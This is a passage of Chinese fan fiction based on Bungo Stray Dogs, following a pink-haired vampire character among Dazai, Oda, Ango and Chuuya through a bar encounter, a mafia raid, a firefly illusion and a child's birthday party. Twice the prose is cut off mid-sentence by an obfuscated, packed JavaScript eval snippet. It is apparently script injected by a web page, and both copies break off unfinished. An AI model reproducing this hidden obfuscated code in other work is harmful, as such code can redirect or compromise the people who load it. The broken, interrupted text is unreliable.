一丝极淡却无法忽视的、属于太宰治本人的气息,正在快速接近酒吧门口。 而且不止一个人,另一个气息带着点书卷气和深重的疲惫感。 菲那恩猛然站起身,脸上表情变得很快,引得织田作之助露出了略显惊讶的表情。 糟了!是太宰!太宰怎么会来?!自己运气这么差的吗?今天晚上怎么老是遇到他…… 菲那恩左看右看,在门铃轻响的前一秒,他几乎是本能地做出了反应——猛地将兜帽往头上一盖,随即往吧台上一趴,脸深深埋进交叠的臂弯里,粉色长发散落下来遮住了侧脸,整个人缩成一团,像一只受惊后选择装死的幼兽,浑身散发着“看不见我看不见我”的强烈意念。 他知道这种方法很蠢,但比起东躲西藏,至少被发现了不会太丢脸吧…… 酒吧门被推开,铜铃清脆响起。 “呀,织田作!你果然在!” 太宰治那熟悉的、带着轻快笑意的声音传来,与后巷里那个冰冷的身影判若两人。 太宰身旁的坂口安吾推了推眼镜,镜片后的眼睛带着浓重的黑眼圈,疲惫地叹了口气,走到织田作旁边坐下。 太宰治笑嘻嘻地挤到织田作之助和菲那恩之间的空位坐下,向酒保点单:“来杯洗洁精特调……啊,开玩笑的,番茄汁加冰,谢谢!” 他的语气轻松愉快,仿佛刚从什么愉快的聚会赶来。 就在他坐下的瞬间,鸢色的眼眸随意地、如同扫描般扫过旁边那个趴在吧台上的粉色身影。 太宰治脸上的笑容没有丝毫变化,甚至连眉毛都没动一下。 他极其自然地接过酒保递来的酒杯,冰块在琥珀色的液体中发出清脆的碰撞声。 然后,他身体微微前倾,靠近那个装死的粉色脑袋,用不大不小的声音,带着浓浓戏谑和恍然大悟的夸张腔调说道: “哎呀呀?这不是我们困得厉害、急着要回公寓睡觉的菲那恩君吗?” 他故意拖长了调子,手指轻轻敲了敲吧台面,发出笃笃的轻响,“怎么?公寓的床不够舒服,还是……梦游到Lupin来了?” 被点名的菲那恩身体一僵,埋在臂弯里的脸瞬间升温。 他知道装不下去了。 他慢吞吞地抬起头,露出一张强作镇定却难掩窘迫的苍白小脸,血红的眼眸飞快地瞟了太宰一眼,又迅速垂下。 或许因为自己骗了太宰,因此菲那恩想在特别心虚。 “我……”他脑子一片空白,羞耻和紧张让他口不择言,一个蹩脚到极点的借口脱口而出,“因为,我想你了……就出来找你,有什么问题吗……”声音细若蚊呐,带着明显的心虚。 空气仿佛凝固了一瞬。 太宰治脸上的笑容明显凝滞了一瞬。 他大概设想过菲那恩的种种狡辩,唯独没料到是这个。 一丝极其细微的、几乎无法捕捉的错愕和……某种更深的不自在,飞快地掠过他鸢色的眼眸。 他看着菲那恩红透的脸颊和心虚的表情,自然知道这绝对是临时扯的谎。 毕竟,对太宰治来说,要在反常的菲那恩身上藏定位器和窃听器很简单。 嗯……中华街……晚香堂……后巷……再然后lupin。 但是……这个笨拙的、带着点傻气的谎言,竟意外地……有点可爱。 太宰治盯着菲那恩看了几秒,最后他伸出手,没有质问,而是极其自然地揉了揉菲那恩柔软的粉色头发,动作亲昵得不像话。 “是吗?”太宰治的语气恢复了惯常的调侃,但尾音似乎带上了一丝不易察觉的愉悦,“那下次想我,记得打电话,大晚上乱跑,万一遇到不愉快的事情怎么办?” 他意有所指,却没有打算再深究,算是放过了菲那恩。 他拉开菲那恩旁边的椅子坐下,对酒保说:“给他再来杯果汁,酒保先生。” 坂口安吾推了推眼镜,如果他没有看错的话,菲那恩在被太宰治接触的那一瞬间,耳朵变成了尖耳。 菲那恩如蒙大赦,心脏还在狂跳,但总算松了口气。 太宰治仿佛才想起来似的,指了指菲那恩,对两位友人说:“啊,对了,还没正式介绍。这是菲那恩,算是我的……嗯,助理?目前暂时跟在我住在一起哦。” 织田作之助闻言,再次平静地看向菲那恩,点了点头:“原来如此……你们认识啊。你好,我是织田作之助。” 坂口安吾则推了推眼镜,镜片后的目光锐利了一瞬,语气带着一丝了然和疲惫:“原来先生您就是最近港口Mafia内部传闻的中心人物,‘那位干部先生身边突然出现的神秘莫测的助理’……真是百闻不如一见。” 他莫名看了一眼太宰治。 织田作之助像是想起了什么,用他那特有的平淡语调补充道:“确实经常能听到一些女性成员讨论,说太宰身边来了个粉头发、红眼睛、长得非常精致的孩子……” 他顿了顿,似乎在回忆那些形容词,“还说偶尔看到你发呆或者困惑的样子,非常……可爱。” 太宰治闻言,发出一声拖长的、意味不明的“诶——”。 他侧过身,手臂顺手搭在菲那恩的椅背上,鸢色的眼眸眯起,像发现了新大陆一样打量着菲那恩眉眼,语调上扬,“是吗?还有这种事?我们菲那恩在外面原来还有这么多可爱的瞬间被记录下来了啊。” 菲那恩被这几道目光看得浑身不自在,尤其是太宰治那仿佛要把他剥开研究的眼神。 他低下头,双手抱着杯子,盯着杯子里的果汁,心虚道:“你们饶了我吧……” 太宰治低低地笑了几声,也不再逗他,转回去继续和友人们聊天。 菲那恩偷偷抬眼看了看太宰治的侧脸。 此刻的太宰,慵懒地靠在吧台上,和织田作之助、坂口安吾闲聊着一些无关紧要的琐事。 织田作之助用他那平淡无奇的语调说着最近的趣事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着菲那恩通红的脸和慌乱的眼神,几乎是确认了某件意料之中又极其刺眼的东西。 气氛一时有些尴尬的凝滞。 就在这时,旁边一只宽厚的大手也伸了过来,带着一种安抚的、近乎长辈的意味,落在了菲那恩的粉色发顶上,还轻轻揉了揉——是织田作之助。 “脑袋手感其实也很不错,以后可以多摸摸。”织田作之助平静的声音打破了沉默。 他非常自然地伸出手,也在菲那恩的粉色头发上揉了两下,动作随意得像在摸一只温顺的猫,补充了一句,“像某种毛绒绒的小动物。” 菲那恩虽然脸上还带着点红晕,但对织田作之助的反应明显平静许多,只是小声嘀咕了一句:“……我不是小动物。” 太宰治将这一切尽收眼底。 他脸上的笑容依旧挂着,但眼底那层幽暗并未散去。 他极其自然地收回了顿在半空的手,仿佛刚才的停顿从未发生。 下一秒,太宰治脸上那带着点漫不经心的、仿佛能掌控一切的笑容又无缝衔接地挂了起来,语调轻松地转向安吾:“哎呀,安吾,你上次说的那份关于贸易线路的报告……” 语气和姿态都恢复了平时的模样,甚至带着点刻意的活跃。 坂口安吾镜片后的目光若有所思地在太宰治瞬间恢复的笑容和菲那恩依旧通红的脖子之间停留了一瞬,又若无其事地移开,心底有些无奈。 作为情报人员,他当然知道菲那恩是一个对横滨有着怎样威胁的存在。 但显然,菲那恩看起来比想象中好相处。 那应该不用太担心了。 他端起酒杯,抿了一口,加入了关于报告的讨论。 ………… 深夜,太宰治没有睡觉。 他靠在窗台,背着月光,面无表情地看着江户川乱步的资料。 就算他不追究菲那恩对他撒谎这件事,但不代表他不会去查菲那恩去晚香堂见谁了,做什么了。 嗯……武装侦探社的人吗…… 菲那恩竟然会为了乱步向他撒谎。 太宰治今天晚上心情其实非常差,否则他会用更温和的方式了结那个俘虏,也不会亲自上手审那个俘虏。 但没办法,炸毛猫猫超级好哄,一句想你了就给顺毛好了。 36.神经病 港口Mafia大楼走廊。 菲那恩抱着一叠需要送去太宰那里的文件,正低头走着,险些撞上一片黑色的衣角。 他抬头,对上了一双深灰色的、锐利如刀锋的眼睛。 是芥川龙之介。 黑衣少年周身的气息比往日更加冷冽,看着菲那恩的眼神复杂难辨,掺杂着不甘、审视,以及一丝极难察觉的、被强行压制下去的忌惮。 自从上次他找菲那恩“切磋”却意外落败,并被太宰先生冷言斥责后,两人碰面就总是这种氛围。 芥川的视线在菲那恩略显凌乱的粉色长发和带着困惑神情的脸上扫过,最终定格在他怀里那叠写着太宰治名字的文件上。 他似乎想说什么挑衅的话,但最终只是发出一声极轻的、近乎嗤笑的气音,与菲那恩擦肩而过,罗生门的衣摆带起一阵冷风。 菲那恩眨了眨赤红的眼睛。 他后来才知道芥川龙之介其实算是太宰治的弟子,看在太宰的份上,他不想再与他起冲突。 他摇摇头,决定先处理手上的麻烦。 然而麻烦总是不请自来,他还没走到办公室,就被中原中也截住了。 “嗯?菲那恩?”中也压了压帽檐,“你还在这里?首领有任务,点名要你也去。” “什么?”菲那恩一脸懵,随后立马反应过来,“知道了,我马上过去。” 等他到了首领办公室,发现中也和太宰都在。 森鸥外笑容可掬,“这次的目标是一个新冒头的小组织,不足为惧,但他们网罗了几个能力……颇具特色的异能者,手段颇为诡谲,任务:彻底清除,收缴所有有价值的情报和物资。” 他温和地解释,指尖轻轻点着桌面,突然点了菲那恩的名,“菲那恩君,多了解一些异能,对你没有坏处。” 菲那恩觉得森鸥外说的挺有道理,点了点头。 森鸥外笑了笑,“菲那恩君话总是这么少呢,还有点不习惯了港口mafia的生活吗?” 太宰治突然嗤笑了一声,中也见太宰治笑了,清了清嗓子,然后踢了太宰治一脚,只不过被太宰灵活躲开。 菲那恩感觉到一种莫名的尴尬,摇了摇头,“呃……已经习惯了。” 其实吧,菲那恩就是跟森鸥外不太熟,没有说话欲而已。 中原中也在旁边转移话题,对菲那恩说:“总之,跟紧我,别光顾着发呆。” 太宰治没有说话,只是兴致缺缺地把玩着菲那恩的粉色长发。 前往旧港区的车上,气氛就已经开始“预热”。 “喂,太宰,等会别碍手碍脚!”中也一边检查着他的皮质手套,一边不耐烦地吼道。 “这话该我说才对,小矮人等会可别因为敌人太多就慌得乱用重力,把任务目标一起砸烂了哦?”太宰治靠着车窗,笑眯眯地回敬。 “你想死吗混蛋青花鱼?!” “自杀是我的追求,但被蛞蝓笨死可不是我的选项呢。” 菲那恩安静地坐在副驾驶座,听着后座两人毫无营养的争吵,目光望着窗外飞速掠过的街景,心里默默想着:原来太宰平时是这么……欠揍的吗? 他好像有点理解为什么中也会那么容易暴怒了。 战斗一开始就很激烈。 中原中也如同精准高效的杀戮机器,重力操纵之下,敌人往往不堪一击。 太宰治则在战场中闲庭信步般穿梭,“人间失格”的淡光闪过,一个个花里胡哨的异能如同被戳破的泡沫般失效,往往伴随着异能者错愕和惊恐的表情,随即被中也干脆利落地解决。 两人嘴上吵得凶,行动上却展现出惊人的默契。 中也一个眼神,太宰就能恰到好处地消除前方碍事的异能屏障,太宰治看似随意的一个侧身,就能为中也让出最佳的攻击角度。 他们甚至不需要语言交流,仿佛大脑共享一般。 菲那恩跟在两人身后,并未过多出手。 他谨记着任务内容,大部分时间只是观察,但也不拖后腿。 他为了节省能量,战斗中一般只用一种血族秘术,干脆利落,偶尔有漏网之鱼冲到他面前,就用一下他刚学的体术或者练练枪法。 而有一个敌人的目光自菲那恩加入战局起,就像黏腻的毒蛇一样,死死缠绕在那纤细的身影和精致的脸庞上,闪烁着令人作呕的贪婪和淫邪。 “啧,港口Mafia什么时候来了这么个极品小美人?”他一边艰难地躲闪着中原中也的重力碾压,一边竟还有闲心用令人极度不适的语调开口,“这粉头发,红眼睛……可真带劲!喂,小美人,跟着这些打打杀杀的粗人多没意思,不如跟了我?保证让你尝尝真正的‘快乐’……” 污言秽语夹杂着下流的暗示,在充斥着硝烟和血腥味的空气中显得格外刺耳。 中原中也的动作猛地一滞。 下一秒,狂暴的杀意如同实质般从他身上炸开,周围的碎石都因那骤然提升的重压而微微震颤。 “你他妈找死——!”中也的怒吼声如同雷霆,钴蓝色的眼眸中燃烧着足以将人焚毁的怒火。 他几乎要放弃所有防御,不顾一切地先将这个口出秽语的渣滓碾成肉泥。 几乎在同一时间,一道原本游弋在战场边缘、轻松写意地消除着其他异能的黑影,骤然定格。 太宰治脸上的慵懒笑容瞬间消失得无影无踪。 那张总是带着几分戏谑和漫不经心的俊美面孔,此刻冷得像冰封的湖面,一丝人类的情感都看不到。 鸢色的眼眸深处,翻涌起的是比深渊更黑暗、更粘稠的冰冷杀意。 他没有像中也那样暴怒,甚至没有说一个字,但周遭的空气仿佛都因为他骤然降低的气压而凝固了。 他只是静静地、死死地盯住了那个口出狂言的男人,那眼神仿佛已经在用世界上最残酷的方式将对方凌迟了千万遍。 然而,处于风暴中心、被那些污言秽语直接针对的菲那恩,却表现得异常平静。 其实以前也有些没搞清楚他的性别就莫名其妙“发.情”的人类或血族,已经有点习惯了 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当中也和太宰反应过来时,那个刚才还出言不逊的男人已经像一摊烂泥般瘫倒在地,鼻青脸肿,浑身多处骨折,只剩下出的气没有进的气了。 菲那恩这才停下,一脸嫌恶道:“……神经病。” 中也:“……” 太宰:“……” 周围的敌人:“……” 一阵诡异的沉默后,中也啧了一声,收敛了些许周身恐怖的重力能量,嘟囔了一句:“……算他倒霉。” 也不知道是说那男人倒霉遇到了双黑,还是倒霉调戏错了人。 太宰治则缓缓收敛了眼中的冰寒,目光幽深地落在菲那恩身上,无奈地叹了口气。 经此插曲,战斗很快尘埃落定。 但很快,菲那恩的注意力就被另一个敌人吸引了。 那是一个看起来并不起眼的异能者,但他的能力却十分奇特——能制造出逼真的幻象。 那个异能者突然双手结印,口中念念有词。 下一秒,菲那恩周围的景象骤然扭曲变幻。 他仿佛瞬间脱离了仓库战场,置身于一片弥漫着浓雾的诡异花园,无数扭曲的幻影从雾中扑来,带着刺耳的尖啸! 这不是物理攻击,而是直接作用于精神的幻象。 菲那恩猛地顿住了脚步,赤红的眼眸微微睁大,里面是纯粹的好奇与探究。 他竟然暂时忘记了战斗,像是被某种新奇玩具吸引的孩子,专注地“观察”着这片虚构的景色,甚至试图伸出手去触摸那并不存在的、带着露珠的花瓣。 “喂!菲那恩!发什么呆!那是幻象!”中原中也暴躁的吼声如同惊雷般在他耳边炸响,同时重力操控的碎石精准地砸向了那个施展幻术的异能者所在的方向。 幻象如同玻璃般破碎,熟悉的仓库景象重新回归。 菲那恩回过神,眼中闪过一丝若有所思。 这个幻象异能看起来…… 好有趣,想要。 37.蓝色萤火虫 任务结束后,一回到公寓,菲那恩就翻出纸笔,坐在客厅小桌前,开始写写画画。 太宰治懒散地跟过去,坐在旁边旁观。 菲那恩书写得极度专注,时常顿笔,指尖无意识勾画空中轨迹,唇间溢出晦涩音节进行验算。 太宰治凑近一看,饶是见识广博如他,也微微睁大了眼睛。 笔记本上密密麻麻写满了各种奇异的符号和结构图,有些像是古老的符文变体,有些则完全是太宰从未见过的、自成一派的语言系统。 它们精密地组合在一起,旁边还有细致的能量流向注解和原理推导,全部围绕着如何操控和引导血脉中的力量来模拟出今天看到的那个幻象效果。 “哇哦,”太宰治发出由衷的惊叹,他精通多国语言甚至一些密文,却完全无法解读菲那恩写的大部分内容,“我都快忘了菲那恩其实并不是文盲。” 菲那恩茫然抬首,眼神仍带着未散尽的思虑,下意识地解释道:“今天那个有趣的幻象异能,核心是干扰脑部神经,但不够高效,如果通过血族术法的力量流动路径来模拟,可以先这样……再调整这里……” 他完全陷入了自己的世界。 太宰治鸢色的眼眸里闪烁着新奇的光芒。 他第一次如此清晰地意识到,这个平时连报告都写不好的小家伙,在属于对方的领域里,是个不折不扣的天才。 “血族秘术……都是这么难学的吗?”太宰治忍不住问。 菲那恩终于停下笔,想了想,解释道:“对大多数家系血族来说是这样……血族秘术不是特指某一种术法,而是对我们血脉能量的各种运用方式的统称,我们可以直接使用血能,也可以将血能‘编织’成其他形式。” “但是,这个就像……线,一根两根容易理清,同时理很多根,就容易缠绕打结,甚至反噬自身,每个血族天赋不同,能同时掌握和运用的‘线’的数量是有限的。” “那菲那恩呢?”太宰治好奇地追问,“你能理清多少‘线’?” 菲那恩偏了偏脑袋,似乎从没仔细思考过这个问题,最后给出了一个让太宰治都微微咋舌的答案:“我不太清楚具体有多少……好像,只要我见过的,基本都能学会。不会的,就像现在这样,弄懂原理,就能掌握了。” 太宰治怔住了。 这已经不是天赋异禀可以形容的了。 他目光落在那些复杂的笔记上,眼里带着一种发现新玩具的好奇,“那这个幻象异能呢?学会了吗?” “……理论上,应该可以了。”菲那恩点了点头,“只是还没实际试过……” “试试嘛~”太宰治立刻来了兴致,拖长了调子,凑近菲那恩,用一种近乎撒娇的语气说道,鸢色的眼睛眼巴巴地看着他,“给我看看嘛,菲那恩~我想看~” 菲那恩对太宰治这种突如其来的、带着明显目的的撒娇几乎毫无抵抗力,“那、那好吧。” 他犹豫了一下,想到太宰治的“人间失格”特性,直接作用于精神的幻象恐怕会无效。 菲那恩没有试图去干扰太宰治的大脑,而是临时改变了施术思路——将原本直接作用于大脑制造幻觉的方式,改为了更复杂的外部光线操纵和能量粒子排列,形成视觉上的幻象。 “太宰想看什么?”他轻声问,指尖开始凝聚起极其微弱的光芒。 太宰治眨了眨眼,随口道:“不知道诶,菲那恩决定就好了。” 菲那恩想了想,闭上眼睛。 片刻后,以他指尖为中心,柔和的光芒荡漾开来,迅速弥漫到整个客厅。 下一秒,太宰治周围的景象骤然变化。 公寓冰冷的墙壁和家具消失了,取而代之的是一片深邃、静谧的森林。 参天古木枝繁叶茂,空气中弥漫着泥土和植物的清新气息。 他们正站在一个清澈见底的湖泊边,湖面如同最光滑的镜子,完美地倒映着天穹上一轮满月和碎钻般的星辰。 晚风轻拂,湖面泛起细碎的涟漪。 更奇妙的是,无数散发着柔和蓝色光芒的光点,在林间和湖面上空轻盈地飞舞、闪烁。 ——是萤火虫。 它们的光芒很奇特,也并不耀眼,却将整个场景点缀得如梦似幻,浪漫得不似人间。 “这是……”太宰治鸢色的眼眸中清晰地倒映着这不可思议的美景,脸上惯常的慵懒被震撼所取代。 菲那恩站在湖边,望着这片由他记忆构筑的景象,赤红的眼眸里流淌着一种安静的怀念。“这是我以前……生活的地方附近。” 他轻声说,声音几乎要融入晚风,“跟着父亲生活后,有时候觉得太难过了,或者……感觉孤独的时候,就会偷偷跑来这里。这些萤火虫……它们的光很安静,不会吵。” 太宰治静静地感受着这绝美的幻境,目光从飞舞的萤火虫移到菲那恩被月光和蓝色萤火勾勒出柔和轮廓的侧脸上。 他突然开口,声音比平时低沉了些:“菲那恩,活得久是什么感觉?” 菲那恩沉默了片刻,赤红的眼眸中闪过一丝不易察觉的黯淡。 他的声音很轻,“以前……已经习惯了独自一人,看着很多东西出现又消失……” “但现在……”他抬起头,看向太宰治,眼神认真而直白,“我不想再回到那种只有自己一个人的生活了。” 这句话在太宰治心湖上漾开圈圈涟漪。 他看着菲那恩,心中某种柔软的情绪被触动。 “那你以前……那么多年是怎么过来的?” 菲那恩抱着膝盖,小心地与太宰治保持着恰到好处的距离,既不远到显得生疏,也不近到让“人间失格” 破坏这精心构筑的幻梦。 他微微侧着头,月光与萤火交织的柔光流淌过他精致的面部线条,为那总带着几分懵懂的脸庞增添了几分静谧。 “父亲沉睡之后,我感到深深的无聊,所以很快也选择了沉睡。而在父亲还没沉睡的时候……”菲那恩的视线投向波光粼粼的湖面,声音轻得像一声叹息,“很长一段时间里,时间的感觉是不同的。” “日出日落,季节更替,人类的城邦兴起又湮灭……很多同类在漫长的时光里选择了沉睡,或者……走向终结。”他赤红的眼眸里映着飞舞的萤火,却仿佛透过它们看到了更遥 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他下意识地、极其缓慢地抬起手,纤长白皙的手指在朦胧的光线下近乎透明,指尖微微向前探出,带着一种近乎虔诚的小心翼翼,仿佛要去触碰一个极其易碎的梦。 那点幽蓝的萤光轻盈地落在他微屈的指尖上,光芒虽微弱,却清晰地照亮了他指尖细腻的纹理。 蓝光映衬下,他那张本就精雕细琢的脸庞更显出一种非人的、极致的美感,皮肤白皙得仿佛上好的暖玉,又带着一丝易碎的脆弱感。 萤火虫的光芒在他清澈的红眸中跳跃,如同投入深红宝石中的星星,点亮了一丝近乎纯然的欣喜。 他只是安静地看着指尖停留的小光点,微微歪着头,粉色长发滑落肩头,整个人仿佛融入了这片幻境,成了其中最梦幻、最不真实的一部分。 太宰治的呼吸几不可察地微微一滞。 他看着眼前的景象:深邃的森林湖泊,漫天流萤,以及那个被蓝光温柔笼罩的粉发少年。 一种极其复杂的情感悄然掠过太宰治的心头——那不是单纯的惊艳,更像是一种……被极致非人感的美骤然击中的失神,混杂着难以言喻的怜惜与一种深邃的悸动。 他几乎能想象到,数百上千年的时光里,这个少年是否也曾这样,独自坐在永恒的夜色或陌生的星空下,伸出指尖,接住一点微弱的光亮,沉默地对抗着无边无际的孤独。 这个念头让他的心口泛起一阵微不可察的酸麻。 “……是吗。”太宰治的声音低沉下来,比平日少了几分轻浮,多了一丝难以辨明的意味,“不想再一个人了啊……” 他忽然极其轻柔地笑了一下,那笑声融在晚风里,几乎听不真切。 幻境依旧静谧美好,萤火虫在他们身边无声飞舞,编织着一个蓝色的梦,想让想要守护这份黑暗里难得的纯粹。 而某种难以名状的情愫,也如同这弥漫的萤光,在两人之间悄然弥漫开来。 无声无息,却足以触动心弦。 在这一刻,太宰治终于感觉到了一种极其陌生的、清晰的不可控感。 38.“保姆” 横滨的午后,阳光透过稀疏的云层,为街道镀上一层暖色。 菲那恩又完成了一项简单的火并任务,正漫无目的地穿梭在巷弄间,思考着是回公寓打游戏看电影,还是去找乱步吃点心。 在一个熟悉的街角,他差点撞上一个人。 “抱歉。”对方沉稳的声音先响起。 菲那恩抬头,看到了红发的织田作之助,他手里拎着满满的购物袋,里面是蔬菜、肉类和一大盒咖喱块。 “是你,织田作。”菲那恩认出了这位在Lupin有过一面之缘的男人,他身上有种与太宰相似却又截然不同的平静气息。 “嗯,”织田作点了点头,手里拎着一个超市的购物袋,里面装着蔬菜和肉类,“今天店长有事不在,我正要去给孩子们做饭。” “等等,孩子……们?”菲那恩震惊到目瞪口呆。 原来织田作已经结婚了,甚至还有了几个孩子吗……怎么没听太宰提过织田作的妻子……难不成他的妻子已经……已经不在了吗? 菲那恩的表情几度变化,就在他的思维逐渐往越来越离谱的地方发展的时候,织田作之助终于开口了。 织田作之助表情依旧没有多大变化,只是眼中闪过一丝不易察觉的不忍:“都是些在龙头战争中失去父母的孤儿,我一共收养了五个。” 菲那恩闻言一怔,喃喃道:“原来如此……” 织田作露出一个温和的浅笑,询问道:“今天做咖喱,要一起来吗?” 咖喱?菲那恩回过神,发现自己对这个词汇只有模糊的概念。 但他对太宰的朋友——织田作之助,以及他口中提到的孩子们产生了一丝微弱的好奇。 “……好。”他点了点头。 织田作之助将他带到了一家歇业的咖喱店。 虽然菲那恩有点疑惑为什么孩子们住在这里,但他的疑惑立刻就被门内噔噔噔的声音打断了。 门一开,几个小脑袋就挤了出来。 “织田!回来啦!” “饿了吗?” 孩子们叽叽喳喳,目光很快被织田作身后那个粉发赤瞳、漂亮得像西洋人偶的大哥哥吸引。 “这是菲那恩,”织田作介绍得极其简短,“朋友。” 菲那恩有些僵硬地站在门口,看着这些眼神清澈、充满活力的人类幼崽,一种从未有过的无措感悄然升起。 其中那个叫咲乐的小女孩,笑得最甜,眼睛像温暖的琥珀,毫不怕生地对他挥了挥手。 咖喱的香气很快弥漫开来。 菲那恩学着大家的样子,将浓稠的、冒着热气的红色酱汁浇在饭上。 他谨慎地舀起一勺,送入口中—— 下一秒! “!!!” 一股爆炸般的灼烧感瞬间席卷了他的口腔,仿佛有无数细小的火焰在舌尖疯狂跳舞。 菲那恩猛地僵住,赤红的眼眸难以置信地瞪大,白皙的脸庞以肉眼可见的速度迅速涨红。 他捂住嘴,剧烈地咳嗽起来,生理性的泪水不受控制地涌出,挂在长长的睫毛上,看起来狼狈又可怜。 “水……水……”他嘶哑地求助。 孩子们爆发出善意的笑声:“哈哈哈!他吃了织田作的特辣咖喱!” “大哥哥你不能吃辣吗?” 织田作淡定地递过冰水:“忘了说,我做的咖喱,比较辣。” 菲那恩灌下好几杯冰水,才感觉那股毁灭性的辣意稍稍退去。 他吐着通红的舌尖,心有余悸地看着那盘“凶器”,眼神里充满了敬畏。 饭后,孩子们围着他,七嘴八舌地问着问题。 菲那恩虽然回答得笨拙,却意外地有耐心。 咲乐尤其活泼可爱,主动拉着菲那恩的手,给他看自己画的画。 “今天是我生日哦!”咲乐仰着小脸,骄傲地宣布。 菲那恩看着女孩亮晶晶的、充满期待的眼睛,心头莫名地软了一下。 “生……日?”他对这个词代表的含义有些模糊的理解,知道是庆祝诞生的日子。 “对啊!织田作说晚上会给我做蛋糕,太宰哥哥和安吾叔叔可能也会来!”咲乐高兴又期待。 这时,织田作的手机响了。 他接完电话后,脸上露出些许为难。 “咲乐,临时有点工作要处理,我很快回来。”织田作摸了摸咲乐的头,然后目光转向菲那恩,“菲那恩,能拜托你……暂时照看一下他们吗?就在家里,很安全。” 菲那恩愣住了。 照看……人类幼崽?这种任务比对付异能者难多了吧。 但看着咲乐瞬间有些失落又强打精神的小脸,和其他孩子期待的目光,他拒绝的话没能说出口。 “……好吧。” 于是,菲那恩开始了他人生中第一次“保姆”体验。 起初是手忙脚乱的。 孩子们精力旺盛,一会儿要玩这个,一会儿要玩那个。 菲那恩凭借着超乎常人的反应速度和敏锐感知,才能勉强跟上孩子们的节奏,防止他们磕碰受伤。 或许因为咲乐是唯一的女孩子,不怎么像男孩子一样上蹿下跳。 她拿出彩纸和蜡笔,要菲那恩陪她做生日装饰。 菲那恩看着那些脆弱的小东西,犹豫了一下,还是小心翼翼地、极其笨拙地折叠、涂抹起来,做出来的东西歪歪扭扭,却让咲乐开心不已。 “菲那恩哥哥,我们来做生日蛋糕吧!”咲乐眼睛亮晶晶地提议,“等织田回来,给他一个惊喜!” “蛋糕?”菲那恩对甜点的认知仅限于最终成品,但他还是被咲乐拉进了厨房。 于是,厨房仿佛经历了一场甜蜜的风暴。 面粉飞扬,蛋壳险些掉进碗里,菲那恩精准称量砂糖,咲乐踮着脚奋力搅拌面糊,鼻尖都沾上了白粉。 最终送入烤箱的,是一个看起来颇具“抽象艺术风格”的粉色与巧克力色双色蛋糕胚。 等待蛋糕冷却的时间里,咲乐靠在菲那恩身边,小声说着她的画,她的朋友,她对生日的小小期待。 菲那恩安静地听着,女孩温暖的小身体靠着他,信任又依赖。 一种缓慢而温暖的陌生情感在心中蔓延,如同涓涓细流。 傍晚,织田作之助带着一身疲惫赶回。 打开门,看到的景象让他脚步一顿:客厅里挂着歪歪扭扭的彩带,孩子们在沙发上睡得东倒西歪,咲乐靠着菲那恩的腿也睡着了。 菲那恩坐得笔直,一动不动,头倒是一点一点的,脸上还沾着未擦净的面粉。 桌上,放着一个造型独特却散发着甜香味的蛋糕。 这时,门铃也响了。 太宰治和坂口安吾站在门口。 太宰一眼就看到了屋内的景象,尤其是被小女孩当成枕头的菲那恩。 太宰治鸢色的眼眸中瞬间掠过一丝极其复杂的光,但大部分是惊讶。 他嘴角勾起惯常的弧度,声音压得低低的,带着笑意:“哎呀呀,我说今天菲那恩怎么失联了,看来是体验了非常规任务呢。” 安吾推了推眼镜,看着这远超想象力的场景,最终化为一声无奈的叹息:“菲那恩君真是……辛苦了。” 咲乐被吵醒,看到大人们都来了,立刻欢呼起来。 生日蜡烛被点燃,温暖的烛光映照着每个人的脸庞。 大家唱着跑调的生日歌,咲乐开心地许愿,鼓起腮帮子吹灭蜡烛。 菲那恩分到了一大块他们亲手做的、甜得有些发腻的蛋糕,但他觉得,这大概是他漫长生命中尝过的最好的味道。 太宰治凑到菲那恩身边,看着对方最角沾上的奶油,鸢色的眼眸在烛光下显得格外深邃,忽然轻声问:“菲那恩的生日,是哪一天呢?” 菲那恩正专心舔着勺子,闻言微愣,赤红的眼睛里闪过一丝茫然。 他仔细回想了一下,然后摇了摇头,语气平淡地像在说别人的事: “不记得了,太久远了。” 他顿了顿,随即又补充道,仿佛这是什么大陆通用法则:“不过,我一般会在新年的第一天,给自己加上一岁。” 太宰治看着他,看着那双在暖黄烛光下略显失落的赤瞳,脸上的笑容淡去了一些,眼底的情绪更深了。 他忽然伸出手,指尖轻轻拂过菲那恩的嘴角,擦掉那点奶油,动作十分自然。 “是吗,”太宰治的声音很轻,带着一种难以言喻的意味,“那以后,新年第一天,也给你准备蛋糕吧?” 菲那恩怔怔地看着他,看着周围吵闹却温馨的一切,看着咲乐灿烂的笑脸。 胸腔里那种饱满而酸涩的暖意再次涌起,比之前任何一次都要强烈。 他好像……真的越来越喜欢这个短暂却温暖的人类世界了。 “来,看这里!咲乐,生日快乐!”太宰治不知从哪里摸出一个老式的拍立得相机,笑着招呼大家。 孩子们兴奋地挤到咲乐身边,织田作站在孩子们身后,脸上是难得的柔和。 安吾被太宰拉到了旁边,菲那恩还有些茫然,被咲乐热情地拉着手臂,站到了人群边上。 灯光一闪,相机吐出一张相纸。 太宰治拿着相纸轻轻挥动,上面是挤在一起的灿烂笑脸,故作严肃的安吾,微笑的织田作,以及……被咲乐紧紧拉着胳膊、表情还有些茫然的菲那恩。 太宰治笑着将照片递给菲那恩:“喏,纪念品。” 菲那恩小心翼翼地接过那张还有些温热的方形相纸。 他低着头,冰凉的指尖极其轻柔地抚过相纸表面,抚过上面那些鲜活的笑容,抚过那个被定格下来的、有些陌生的自己。 一种奇异而酸涩的暖流在他心口涌动,这就是……留念吗? 指尖相片的触感真实而温暖…… 然而,当他仔细看遍照片上的每一个人后,那双赤红的眼眸里闪过一丝清晰的困惑和……不满。 他抬起头,看向正笑眯眯地看着他的太宰治。 “不对。”菲那恩的语气带着一种罕见的执拗,他指着照片,非常认真地说,“这里没有你。” 太宰治似乎没料到他会注意到这个,愣了一下,随即无所谓地耸耸肩,语气轻快:“哎,摄影师总是没办法入镜的嘛~没关系哦。” “有关系。”菲那恩却异常坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 